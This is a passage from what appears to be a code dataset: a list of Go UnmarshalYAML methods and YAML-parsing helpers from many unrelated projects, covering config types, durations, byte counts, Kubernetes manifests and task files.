{\n\t\t\tlastId = c.Value\n\t\t\tcontinue\n\t\t}\n\n\t\t// Handle nested version metadata\n\t\tif c.Kind == yaml.MappingNode {\n\t\t\tv := NewVersionConfiguration(lastId)\n\t\t\terr := c.Decode(&v)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrapf(err, \"decoding yaml for %q\", lastId)\n\t\t\t}\n\n\t\t\tgc.addVersion(lastId, v)\n\t\t\tcontinue\n\t\t}\n\n\t\t// $payloadType: <string>\n\t\tif strings.EqualFold(lastId, payloadTypeTag) && c.Kind == yaml.ScalarNode {\n\t\t\tswitch strings.ToLower(c.Value) {\n\t\t\tcase string(OmitEmptyProperties):\n\t\t\t\tgc.PayloadType.Set(OmitEmptyProperties)\n\t\t\tcase string(ExplicitCollections):\n\t\t\t\tgc.PayloadType.Set(ExplicitCollections)\n\t\t\tcase string(ExplicitProperties):\n\t\t\t\tgc.PayloadType.Set(ExplicitProperties)\n\t\t\tdefault:\n\t\t\t\treturn errors.Errorf(\"unknown %s value: %s.\", payloadTypeTag, c.Value)\n\t\t\t}\n\n\t\t\tcontinue\n\t\t}\n\n\t\t// No handler for this value, return an error\n\t\treturn errors.Errorf(\n\t\t\t\"group configuration, unexpected yaml value %s: %s (line %d col %d)\", lastId, c.Value, c.Line, c.Column)\n\t}\n\n\treturn nil\n}", "func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultConfig\n\tc.LogsLabels = make(map[string]string)\n\ttype plain Config\n\treturn unmarshal((*plain)(c))\n}", "func (w *CommandWrapper) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar err error\n\tvar str string\n\tif err = unmarshal(&str); err == nil {\n\t\tw.Command = str\n\t\treturn nil\n\t}\n\n\tvar commandArray []string\n\tif err = unmarshal(&commandArray); err == nil {\n\t\tw.Commands = commandArray\n\t\treturn nil\n\t}\n\treturn nil //TODO: should be an error , something like UNhhandledError\n}", "func (s *MaporSpaceSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \" \")\n\tif err != nil {\n\t\treturn err\n\t}\n\t*s = parts\n\treturn nil\n}", "func (c *MailConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain MailConfig\n\tif err := unmarshal((*plain)(c)); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (r *rawMessage) UnmarshalYAML(b []byte) error {\n\t*r = b\n\treturn nil\n}", "func (r *ScalingConfigOrT[_]) UnmarshalYAML(value *yaml.Node) error {\n\tif err := value.Decode(&r.ScalingConfig); err != nil {\n\t\tswitch err.(type) {\n\t\tcase *yaml.TypeError:\n\t\t\tbreak\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif !r.ScalingConfig.IsEmpty() {\n\t\t// Successfully unmarshalled ScalingConfig fields, return\n\t\treturn nil\n\t}\n\n\tif err := value.Decode(&r.Value); err != nil {\n\t\treturn errors.New(`unable to unmarshal into int or composite-style map`)\n\t}\n\treturn nil\n}", "func (op *OpAdd) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar addRaw opAddRaw\n\terr := unmarshal(&addRaw)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"decode OpAdd: %s\", err)\n\t}\n\n\treturn op.unmarshalFromOpAddRaw(addRaw)\n}", "func (s *MaporColonSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \":\")\n\tif err != nil {\n\t\treturn err\n\t}\n\t*s = parts\n\treturn nil\n}", "func (b *extraKV) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&b.Kv)\n}", "func (c *SlackConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultSlackConfig\n\ttype plain SlackConfig\n\tif err := unmarshal((*plain)(c)); err != nil {\n\t\treturn err\n\t}\n\treturn checkOverflow(c.XXX, \"slack config\")\n}", "func (v *LabelSet) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tlbSet := model.LabelSet{}\n\terr := unmarshal(&lbSet)\n\tif err != nil {\n\t\treturn err\n\t}\n\tv.LabelSet = lbSet\n\treturn nil\n}", "func (b *brokerOutputList) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tgenericOutputs := []interface{}{}\n\tif err := unmarshal(&genericOutputs); err != nil {\n\t\treturn err\n\t}\n\n\toutputConfs, err := parseOutputConfsWithDefaults(genericOutputs)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*b = outputConfs\n\treturn nil\n}", "func parseYaml(yaml string) (*UnstructuredManifest, error) {\n\trawYamlParsed := &map[string]interface{}{}\n\terr := yamlParser.Unmarshal([]byte(yaml), rawYamlParsed)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trawJSON, err := json.Marshal(dyno.ConvertMapI2MapS(*rawYamlParsed))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tunstruct := meta_v1_unstruct.Unstructured{}\n\terr = unstruct.UnmarshalJSON(rawJSON)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmanifest := &UnstructuredManifest{\n\t\tunstruct: &unstruct,\n\t}\n\n\tlog.Printf(\"[DEBUG] %s Unstructed YAML: %+v\\n\", manifest, manifest.unstruct.UnstructuredContent())\n\treturn manifest, nil\n}", "func (p *Package) UnmarshalYAML(value *yaml.Node) error {\n\tpkg := &Package{}\n\tpkg.Present = true // present gets set to true because they wouldn't mention it otherwise\n\tvar err error // for use in the switch below\n\n\tlog.Trace().Interface(\"Node\", value).Msg(\"Pkg UnmarshalYAML\")\n\tif value.Tag != \"!!map\" {\n\t\treturn fmt.Errorf(\"unable to unmarshal yaml: value not map (%s)\", value.Tag)\n\t}\n\n\tfor i, node := range value.Content {\n\t\tlog.Trace().Interface(\"node1\", node).Msg(\"\")\n\t\tswitch node.Value {\n\t\tcase \"name\":\n\t\t\tpkg.Name = value.Content[i+1].Value\n\t\t\tif pkg.Name == \"\" {\n\t\t\t\treturn nil\n\t\t\t}\n\t\tcase \"version\":\n\t\t\tpkg.Version = value.Content[i+1].Value\n\t\tcase \"present\":\n\t\t\tpkg.Present, err = strconv.ParseBool(value.Content[i+1].Value)\n\t\t\tif err != nil {\n\t\t\t\tlog.Error().Err(err).Msg(\"can't parse installed field\")\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\tlog.Trace().Interface(\"pkg\", pkg).Msg(\"what's in the box?!?!\")\n\t*p = *pkg\n\n\treturn nil\n}", "func (rl *RunList) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar runSlice []*Run\n\tsliceCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&runSlice) },\n\t\tAssign: func() { *rl = runSlice },\n\t}\n\n\tvar runItem *Run\n\titemCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&runItem) },\n\t\tAssign: func() { *rl = RunList{runItem} },\n\t}\n\n\treturn marshal.UnmarshalOneOf(sliceCandidate, itemCandidate)\n}", "func (op *OpRemove) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Field)\n}", "func (key *PrivateKey) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar str string\n\terr := unmarshal(&str)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*key, err = NewPrivateKey(str)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (i *UserGroupAccess) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = UserGroupAccessString(s)\n\treturn err\n}", "func (r *Run) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar cl CommandList\n\tcommandCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&cl) },\n\t\tAssign: func() { *r = Run{Command: cl} },\n\t}\n\n\ttype runType Run // Use new type to avoid recursion\n\tvar runItem runType\n\trunCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&runItem) },\n\t\tAssign: func() { *r = Run(runItem) },\n\t\tValidate: func() error {\n\t\t\tactionUsedList := []bool{\n\t\t\t\tlen(runItem.Command) != 0,\n\t\t\t\tlen(runItem.SubTaskList) != 0,\n\t\t\t\trunItem.SetEnvironment != nil,\n\t\t\t}\n\n\t\t\tcount := 0\n\t\t\tfor _, isUsed := range actionUsedList {\n\t\t\t\tif isUsed {\n\t\t\t\t\tcount++\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif count > 1 {\n\t\t\t\treturn errors.New(\"only one action can be defined in `run`\")\n\t\t\t}\n\n\t\t\treturn nil\n\t\t},\n\t}\n\n\treturn marshal.UnmarshalOneOf(commandCandidate, runCandidate)\n}", "func (b *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar strVal string\n\terr := unmarshal(&strVal)\n\tif err != nil {\n\t\treturn err\n\t}\n\tparsed, err := Parse(strVal)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*b = parsed\n\treturn nil\n}", "func (b *Bool) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate bool\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\tb.set(candidate)\n\treturn nil\n}", "func (at *SecurityCheck) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar res map[string]interface{}\n\tif err := unmarshal(&res); err != nil {\n\t\treturn err\n\t}\n\terr := mapstructure.Decode(res, &at)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif at.TestType == common.NonApplicableTest || at.TestType == common.ManualTest {\n\t\tat.NonApplicable = true\n\t}\n\treturn nil\n}", "func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\n\ttype confAlias Config\n\taliased := confAlias(NewConfig())\n\n\terr := value.Decode(&aliased)\n\tif err != nil {\n\t\treturn docs.NewLintError(value.Line, docs.LintFailedRead, err.Error())\n\t}\n\n\tvar spec docs.ComponentSpec\n\tif aliased.Type, spec, err = docs.GetInferenceCandidateFromYAML(docs.DeprecatedProvider, docs.TypeOutput, value); err != nil {\n\t\treturn docs.NewLintError(value.Line, docs.LintComponentMissing, err.Error())\n\t}\n\n\tif spec.Plugin {\n\t\tpluginNode, err := docs.GetPluginConfigYAML(aliased.Type, value)\n\t\tif err != nil {\n\t\t\treturn docs.NewLintError(value.Line, docs.LintFailedRead, err.Error())\n\t\t}\n\t\taliased.Plugin = &pluginNode\n\t} else {\n\t\taliased.Plugin = nil\n\t}\n\n\t*conf = Config(aliased)\n\treturn nil\n}", "func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype raw Config\n\tvar cfg raw\n\tif c.URL.URL != nil {\n\t\t// we used flags to set that value, which already has sane default.\n\t\tcfg = raw(*c)\n\t} else {\n\t\t// force sane defaults.\n\t\tcfg = raw{\n\t\t\tBackoffConfig: util.BackoffConfig{\n\t\t\t\tMaxBackoff: 5 * time.Second,\n\t\t\t\tMaxRetries: 5,\n\t\t\t\tMinBackoff: 100 * time.Millisecond,\n\t\t\t},\n\t\t\tBatchSize: 100 * 1024,\n\t\t\tBatchWait: 1 * time.Second,\n\t\t\tTimeout: 10 * time.Second,\n\t\t}\n\t}\n\n\tif err := unmarshal(&cfg); err != nil {\n\t\treturn err\n\t}\n\n\t*c = Config(cfg)\n\treturn nil\n}", "func (moves *Moves) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar mvList []string\n\tif err := unmarshal(&mvList); err != nil {\n\t\treturn err\n\t}\n\n\tparsed, err := ParseMoves(mvList)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*moves = parsed\n\treturn nil\n}", "func UnmarshalInlineYaml(obj map[string]interface{}, targetPath string) (err error) {\n\tnodeList := strings.Split(targetPath, \".\")\n\tif len(nodeList) == 0 {\n\t\treturn fmt.Errorf(\"targetPath '%v' length is zero after split\", targetPath)\n\t}\n\n\tcur := obj\n\tfor _, nname := range nodeList {\n\t\tndata, ok := cur[nname]\n\t\tif !ok || ndata == nil { // target path does not exist\n\t\t\treturn fmt.Errorf(\"targetPath '%v' doest not exist in obj: '%v' is missing\",\n\t\t\t\ttargetPath, nname)\n\t\t}\n\t\tswitch nnode := ndata.(type) {\n\t\tcase map[string]interface{}:\n\t\t\tcur = nnode\n\t\tdefault: // target path type does not match\n\t\t\treturn fmt.Errorf(\"targetPath '%v' doest not exist in obj: \"+\n\t\t\t\t\"'%v' type is not map[string]interface{}\", targetPath, nname)\n\t\t}\n\t}\n\n\tfor dk, dv := range cur {\n\t\tswitch vnode := dv.(type) {\n\t\tcase string:\n\t\t\tvo := make(map[string]interface{})\n\t\t\tif err := yaml.Unmarshal([]byte(vnode), &vo); err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t// Replace the original text yaml tree node with yaml objects\n\t\t\tcur[dk] = vo\n\t\t}\n\t}\n\treturn\n}", "func (r *Discriminator) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tobj := make(map[string]interface{})\n\tif err := unmarshal(&obj); err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\n\tif value, ok := obj[\"propertyName\"]; ok {\n\t\tif value, ok := value.(string); ok {\n\t\t\tr.PropertyName = value\n\t\t}\n\t}\n\n\tif value, ok := obj[\"mapping\"]; ok {\n\t\tif value, ok := cleanupMapValue(value).(map[string]interface{}); ok {\n\t\t\ts := make(map[string]string, len(value))\n\t\t\tfor k, v := range value {\n\t\t\t\ts[k] = fmt.Sprint(v)\n\t\t\t}\n\t\t\tr.Mapping = s\n\t\t}\n\t}\n\n\treturn nil\n}", "func (m *Mount) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype Alias Mount\n\taux := &struct {\n\t\tPropagation string `yaml:\"propagation\"`\n\t\t*Alias\n\t}{\n\t\tAlias: (*Alias)(m),\n\t}\n\tif err := unmarshal(&aux); err != nil {\n\t\treturn err\n\t}\n\t// if unset, will fallback to the default (0)\n\tif aux.Propagation != \"\" {\n\t\tval, ok := MountPropagationNameToValue[aux.Propagation]\n\t\tif !ok {\n\t\t\treturn fmt.Errorf(\"unknown propagation value: %s\", aux.Propagation)\n\t\t}\n\t\tm.Propagation = MountPropagation(val)\n\t}\n\treturn nil\n}", "func (tf *Taskfile) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif err := unmarshal(&tf.Tasks); err == nil {\n\t\ttf.Version = \"1\"\n\t\treturn nil\n\t}\n\n\tvar taskfile struct {\n\t\tVersion string\n\t\tExpansions int\n\t\tOutput string\n\t\tIncludes yaml.MapSlice\n\t\tVars Vars\n\t\tEnv Vars\n\t\tTasks Tasks\n\t}\n\tif err := unmarshal(&taskfile); err != nil {\n\t\treturn err\n\t}\n\ttf.Version = taskfile.Version\n\ttf.Expansions = taskfile.Expansions\n\ttf.Output = taskfile.Output\n\tincludes, defaultInclude, err := IncludesFromYaml(taskfile.Includes)\n\tif err != nil {\n\t\treturn err\n\t}\n\ttf.Includes = includes\n\ttf.IncludeDefaults = defaultInclude\n\ttf.Vars = taskfile.Vars\n\ttf.Env = taskfile.Env\n\ttf.Tasks = taskfile.Tasks\n\tif tf.Expansions <= 0 {\n\t\ttf.Expansions = 2\n\t}\n\treturn nil\n}", "func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultConfig\n\n\ttype plain Config\n\treturn unmarshal((*plain)(c))\n}", "func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultConfig\n\n\ttype plain Config\n\treturn unmarshal((*plain)(c))\n}", "func (re *Regexp) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tr, err := NewRegexp(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*re = r\n\treturn nil\n}", "func (re *Regexp) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tr, err := NewRegexp(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*re = r\n\treturn nil\n}", "func (d *Document) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif err := unmarshal(&d.raw); err != nil {\n\t\treturn err\n\t}\n\n\tif err := d.init(); err != nil {\n\t\treturn fmt.Errorf(\"verifying YAML data: %s\", err)\n\t}\n\n\treturn nil\n}", "func unmarsharlYaml(byteArray []byte) Config {\n\tvar cfg Config\n\terr := yaml.Unmarshal([]byte(byteArray), &cfg)\n\tif err != nil {\n\t\tlog.Fatalf(\"error: %v\", err)\n\t}\n\treturn cfg\n}", "func (m *OrderedMap[K, V]) UnmarshalYAML(b []byte) error {\n\tvar s yaml.MapSlice\n\tif err := yaml.Unmarshal(b, &s); err != nil {\n\t\treturn err\n\t}\n\tif len(s) == 0 {\n\t\treturn nil\n\t}\n\tresult := OrderedMap[K, V]{\n\t\tidx: map[K]int{},\n\t\titems: make([]OrderedMapItem[K, V], len(s)),\n\t}\n\tfor i, item := range s {\n\t\tkb, err := yaml.Marshal(item.Key)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tvar k K\n\t\tif err := yaml.Unmarshal(kb, &k); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tvb, err := yaml.Marshal(item.Value)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tvar v V\n\t\tif err := yaml.UnmarshalWithOptions(vb, &v, yaml.UseOrderedMap(), yaml.Strict()); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tresult.idx[k] = i\n\t\tresult.items[i].Key = k\n\t\tresult.items[i].Value = v\n\t}\n\t*m = result\n\treturn nil\n}", "func (i *Int) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate int\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\ti.set(candidate)\n\treturn nil\n}", "func (bc *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar u64 uint64\n\tif unmarshal(&u64) == nil {\n\t\tAtomicStoreByteCount(bc, ByteCount(u64))\n\n\t\treturn nil\n\t}\n\n\tvar s string\n\tif unmarshal(&s) == nil {\n\t\tv, err := ParseByteCount(s)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"%q: %w: %v\", s, ErrMalformedRepresentation, err)\n\t\t}\n\t\tAtomicStoreByteCount(bc, v)\n\n\t\treturn nil\n\t}\n\n\treturn fmt.Errorf(\"%w: unexpected type\", ErrMalformedRepresentation)\n}", "func (i *ImportDefinition) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\n\tif err := unmarshal(&s); err == nil {\n\t\ti.File = s\n\t\treturn nil\n\t}\n\tvar str struct {\n\t\tFile string `yaml:\"file,omitempty\"`\n\t\tRepository string `yaml:\"repository,omitempty\"`\n\t\tNamespaceURI string `yaml:\"namespace_uri,omitempty\"`\n\t\tNamespacePrefix string `yaml:\"namespace_prefix,omitempty\"`\n\t}\n\tif err := unmarshal(&str); err != nil {\n\t\treturn err\n\t}\n\ti.File = str.File\n\ti.Repository = str.Repository\n\ti.NamespaceURI = str.NamespaceURI\n\ti.NamespacePrefix = str.NamespacePrefix\n\treturn nil\n}", "func (d *DurationMillis) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate int\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\ttc := OfMilliseconds(candidate)\n\t*d = tc\n\treturn nil\n}", "func (d *DataType) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar val string\n\tif err := unmarshal(&val); err != nil {\n\t\treturn err\n\t}\n\treturn d.FromString(val)\n}", "func (date *Date) UnmarshalYAML(value *yaml.Node) (err error) {\n\tvar d string\n\tif err = value.Decode(&d); err != nil {\n\t\treturn err\n\t}\n\t// check data format\n\tif err := checkDateFormat(d); err != nil {\n\t\treturn err\n\t}\n\n\t*date = Date(d)\n\treturn nil\n}", "func (f *Fixed8) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\terr := unmarshal(&s)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn f.setFromString(s)\n}", "func (mv *Move) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tparsed, err := ParseMove(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*mv = *parsed\n\treturn nil\n}", "func (s *GitEvent) UnmarshalYAML(n *yaml.Node) error {\n\tvar j string\n\terr := yaml.Unmarshal([]byte(n.Value), &j)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// Note that if the string cannot be found then it will be set to the zero value, 'Push' in this case.\n\t*s = toID[j]\n\treturn nil\n}", "func (e *External) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar boolType bool\n\tif err := unmarshal(&boolType); err == nil {\n\t\te.External = boolType\n\t\treturn nil\n\t}\n\n\tvar structType = struct {\n\t\tName string\n\t}{}\n\tif err := unmarshal(&structType); err != nil {\n\t\treturn err\n\t}\n\tif structType.Name != \"\" {\n\t\te.External = true\n\t\te.Name = structType.Name\n\t}\n\treturn nil\n}", "func (i *UOM) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = UOMString(s)\n\treturn err\n}", "func (t *Type) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar value string\n\tif err := unmarshal(&value); err != nil {\n\t\treturn err\n\t}\n\n\tif err := t.Set(value); err != nil {\n\t\treturn fmt.Errorf(\"failed to parse '%s' to Type: %v\", value, err)\n\t}\n\n\treturn nil\n}", "func (t *Task) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar rawTask map[string]interface{}\n\terr := unmarshal(&rawTask)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to unmarshal task: %s\", err)\n\t}\n\n\trawName, ok := rawTask[\"name\"]\n\tif !ok {\n\t\treturn errors.New(\"missing 'name' field\")\n\t}\n\n\ttaskName, ok := rawName.(string)\n\tif !ok || taskName == \"\" {\n\t\treturn errors.New(\"'name' field needs to be a non-empty string\")\n\t}\n\n\tt.Name = taskName\n\n\t// Delete name field, since it doesn't represent an action\n\tdelete(rawTask, \"name\")\n\n\tfor actionType, action := range rawTask {\n\t\taction, err := actions.UnmarshalAction(actionType, action)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"failed to unmarshal action %q from task %q: %s\", actionType, t.Name, err)\n\t\t}\n\n\t\tt.Actions = append(t.Actions, action)\n\t}\n\n\tif len(t.Actions) == 0 {\n\t\treturn fmt.Errorf(\"task %q has no actions\", t.Name)\n\t}\n\n\treturn nil\n}", "func (d *duration) UnmarshalYAML(unmashal func(interface{}) error) error {\n\tvar s string\n\tif err := unmashal(&s); err != nil {\n\t\treturn err\n\t}\n\tdur, err := time.ParseDuration(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*d = duration(dur)\n\treturn nil\n}", "func (f *Float64) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate float64\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\tf.set(candidate)\n\treturn nil\n}", "func (vl *valueList) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\n\tvar err error\n\n\tvar valueSlice []value\n\tif err = unmarshal(&valueSlice); err == nil {\n\t\t*vl = valueSlice\n\t\treturn nil\n\t}\n\n\tvar valueItem value\n\tif err = unmarshal(&valueItem); err == nil {\n\t\t*vl = valueList{valueItem}\n\t\treturn nil\n\t}\n\n\treturn err\n}", "func (c *EtcdConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultEtcdConfig\n\t// We want to set c to the defaults and then overwrite it with the input.\n\t// To make unmarshal fill the plain data struct rather than calling UnmarshalYAML\n\t// again, we have to hide it using a type indirection.\n\ttype plain EtcdConfig\n\tif err := unmarshal((*plain)(c)); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (m *BootstrapMode) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar str string\n\tif err := unmarshal(&str); err != nil {\n\t\treturn err\n\t}\n\n\t// If unspecified, use default mode.\n\tif str == \"\" {\n\t\t*m = DefaultBootstrapMode\n\t\treturn nil\n\t}\n\n\tfor _, valid := range validBootstrapModes {\n\t\tif str == valid.String() {\n\t\t\t*m = valid\n\t\t\treturn nil\n\t\t}\n\t}\n\treturn fmt.Errorf(\"invalid BootstrapMode '%s' valid types are: %s\",\n\t\tstr, validBootstrapModes)\n}", "func LoadYaml(data []byte) ([]runtime.Object, error) {\n\tparts := bytes.Split(data, []byte(\"---\"))\n\tvar r []runtime.Object\n\tfor _, part := range parts {\n\t\tpart = bytes.TrimSpace(part)\n\t\tif len(part) == 0 {\n\t\t\tcontinue\n\t\t}\n\t\tobj, _, err := scheme.Codecs.UniversalDeserializer().Decode([]byte(part), nil, nil)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tr = append(r, obj)\n\t}\n\treturn r, nil\n}", "func DecodeFromYAML(ctx context.Context, yaml []byte) (*Object, error) {\n\tobj, err := runtime.Decode(decoder, yaml)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to decode yaml into object\")\n\t}\n\tobjUn, ok := obj.(*unstructured.Unstructured)\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"failed to convert object to Unstructured\")\n\t}\n\treturn &Object{\n\t\tobjUn,\n\t}, nil\n}", "func (i *Interface) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = InterfaceString(s)\n\treturn err\n}", "func (ep *Endpoint) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tp, err := ParseEndpoint(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*ep = *p\n\treturn nil\n}", "func (c *Count) UnmarshalYAML(value *yaml.Node) error {\n\tif err := value.Decode(&c.AdvancedCount); err != nil {\n\t\tswitch err.(type) {\n\t\tcase *yaml.TypeError:\n\t\t\tbreak\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif !c.AdvancedCount.IsEmpty() {\n\t\t// Successfully unmarshalled AdvancedCount fields, return\n\t\treturn nil\n\t}\n\n\tif err := value.Decode(&c.Value); err != nil {\n\t\treturn errUnmarshalCountOpts\n\t}\n\treturn nil\n}", "func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultConfig\n\t// We want to set c to the defaults and then overwrite it with the input.\n\t// To make unmarshal fill the plain data struct rather than calling UnmarshalYAML\n\t// again, we have to hide it using a type indirection.\n\ttype plain Config\n\tif err := unmarshal((*plain)(c)); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (c *Count) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif err := unmarshal(&c.AdvancedCount); err != nil {\n\t\tswitch err.(type) {\n\t\tcase *yaml.TypeError:\n\t\t\tbreak\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif err := c.AdvancedCount.IsValid(); err != nil {\n\t\treturn err\n\t}\n\n\tif !c.AdvancedCount.IsEmpty() {\n\t\t// Successfully unmarshalled AdvancedCount fields, return\n\t\treturn nil\n\t}\n\n\tif err := unmarshal(&c.Value); err != nil {\n\t\treturn errUnmarshalCountOpts\n\t}\n\treturn nil\n}", "func Unmarshal(y []byte, o interface{}, opts ...JSONOpt) error {\n\treturn yamlUnmarshal(y, o, false, opts...)\n}", "func (p *PortMapping) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype Alias PortMapping\n\taux := &struct {\n\t\tProtocol string `json:\"protocol\"`\n\t\t*Alias\n\t}{\n\t\tAlias: (*Alias)(p),\n\t}\n\tif err := unmarshal(&aux); err != nil {\n\t\treturn err\n\t}\n\tif aux.Protocol != \"\" {\n\t\tval, ok := PortMappingProtocolNameToValue[strings.ToUpper(aux.Protocol)]\n\t\tif !ok {\n\t\t\treturn fmt.Errorf(\"unknown protocol value: %s\", aux.Protocol)\n\t\t}\n\t\tp.Protocol = PortMappingProtocol(val)\n\t}\n\treturn nil\n}", "func (c *WebhookConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultWebhookConfig\n\ttype plain WebhookConfig\n\tif err := unmarshal((*plain)(c)); err != nil {\n\t\treturn err\n\t}\n\tif c.URL == \"\" {\n\t\treturn fmt.Errorf(\"missing URL in webhook config\")\n\t}\n\treturn checkOverflow(c.XXX, \"webhook config\")\n}", "func (c *SDConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultSDConfig\n\ttype plain SDConfig\n\terr := unmarshal((*plain)(c))\n\tif err != nil {\n\t\treturn err\n\t}\n\tif len(c.Files) == 0 {\n\t\treturn errors.New(\"file service discovery config must contain at least one path name\")\n\t}\n\tfor _, name := range c.Files {\n\t\tif !patFileSDName.MatchString(name) {\n\t\t\treturn fmt.Errorf(\"path name %q is not valid for file discovery\", name)\n\t\t}\n\t}\n\treturn nil\n}" ]
